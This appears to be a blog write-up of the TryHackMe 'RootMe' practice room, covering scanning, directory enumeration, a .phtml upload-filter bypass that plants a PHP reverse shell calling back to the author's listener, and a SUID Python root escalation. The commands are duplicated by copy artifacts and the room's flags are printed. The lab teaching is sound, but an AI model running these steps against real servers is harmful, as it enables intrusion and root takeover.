October 28, 2026
Can You Root Me? RootMe β TryHackMe Write-up
RootMe is a beginner-friendly machine on TryHackMe that walks through the full attack chain: scanning a target, enumerating a web serverβ¦
By Nikki Alcarde
4 min read
RootMe is a beginner-friendly machine on TryHackMe that walks through the full attack chain: scanning a target, enumerating a web server, bypassing a file upload filter to get a shell, and escalating from a low-privilege user to root. It's a solid room for practicing the basic workflow and mindset that carries over into harder boxes.
Room: https://tryhackme.com/room/rrootme
Reconnaissance
Every box starts with a port scan. I ran:
nmap -sC -sV 10.49.181.249nmap -sC -sV 10.49.181.249
-sV gets the service versions, and -sC runs nmap's default scripts β not strictly necessary, but it often turns up something useful.
- How many ports are open? 2
- What version of Apache is running? 2.4.41
- What service is running on port 22? SSH
The web page on port 80 didn't show anything beyond some placeholder text, and the page source had nothing interesting either. Time to enumerate directories.
Enumeration
I used gobuster for this:
gobuster dir --random-agent -u http://10.49.181.249 -w /usr/share/wordlists/dirb/common.txt -t 10gobuster dir --random-agent -u http://10.49.181.249 -w /usr/share/wordlists/dirb/common.txt -t 10dir runs directory/file brute-forcing, --random-agent rotates the User-Agent to look less like a scanner, -w points at the wordlist, and -t 10 sets 10 concurrent threads.
This turned up a hidden directory:
- What is the hidden directory?
/panel
Visiting /panel showed a file upload form β exactly the kind of entry point I was hoping for.
Getting a Shell
The /panel page accepts file uploads, which is a classic sign of a file upload bypass challenge. The idea: upload something that isn't an image so the server executes it as code instead of just storing it.
I grabbed pentestmonkey's PHP reverse shell:
wget https://raw.github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.phpwget https://raw.github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
Before uploading, I edited the script to point to my IP and a listener port:
$ip = '192.168.148.180';
$port = 6000;$ip = '192.168.148.180';
$port = 6000;Uploading it as a raw .php file got rejected β the server was filtering that extension. Renaming it to shell.phtml and uploading again worked:
a green success message confirmed it, and the file showed up at /uploads.
With the shell staged, I started a netcat listener on the port I'd set in the script:
nc -lvnp 6000nc -lvnp 6000-l: listen for an incoming connection instead of initiating one-v: verbose output-n: skip DNS lookups, numeric IPs only-p: the port to listen on
Then I browsed to /uploads/shell.phtml in the browser to trigger it. The listener caught the connection immediately:
listening on [any] 6000...
connect to [192.168.148.180] from (UNKNOWN) [10.49.181.249] 50414
Linux ip-10-201-98-22 5.15.0-139-generic #149~20.04.1-Ubuntu SMP x86_64 GNU/Linux
$ whoami
www-datalistening on [any] 6000...
connect to [192.168.148.180] from (UNKNOWN) [10.49.181.249] 50414
Linux ip-10-201-98-22 5.15.0-139-generic #149~20.04.1-Ubuntu SMP x86_64 GNU/Linux
$ whoami
www-data
Finding the User Flag
With a working shell, grabbing the user flag was just a find:
find / -name user.txt 2>/dev/null
cat /var/www/user.txtfind / -name user.txt 2>/dev/null
cat /var/www/user.txt- user.txt:
THM{y0u_g0t_a_sh3ll}
Privilege Escalation
At this point I was www-data β a normal, low-privilege user. Privilege escalation is the process of going from that to root.
One of the first things worth checking is files with the SUID bit set. SUID lets a binary run with the privileges of its owner, not the user who runs it β so if a root-owned binary has SUID set and can be abused, a normal user can ride it up to root.
find / -user root -perm /4000 2>/dev/nullfind / -user root -perm /4000 2>/dev/nullMost of the results were expected system binaries, but one stood out:
- Search for files with SUID permission β which file is weird?
/usr/bin/python
Python isn't normally given SUID, so this was clearly the intended path.
With a SUID binary identified, the next step is checking GTFOBins β a reference for abusing standard Unix binaries like this one. Looking up Python's SUID entry shows:
./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'The idea is simple: have Python spawn a shell. Since Python itself has the SUID bit and runs as root, the shell it spawns inherits root's privileges too.
Getting Root
Running the exploit:
$ /usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
$ whoami
root$ /usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
$ whoami
rootNo output from the first line is normal β the real confirmation is whoami coming back as root.
From there, grabbing the root flag was the same as before:
find / -name root.txt 2>/dev/null
cat /root/root.txtfind / -name root.txt 2>/dev/null
cat /root/root.txt- root.txt:
THM{pr1v1l3g3_3sc4l4t10n}
Room complete.
Wrapping Up
RootMe is a good first box for practicing the full workflow: nmap β directory enumeration β file upload bypass β shell β SUID privilege escalation. None of the individual steps are hard on their own, but chaining them together is exactly the mindset that transfers to harder machines.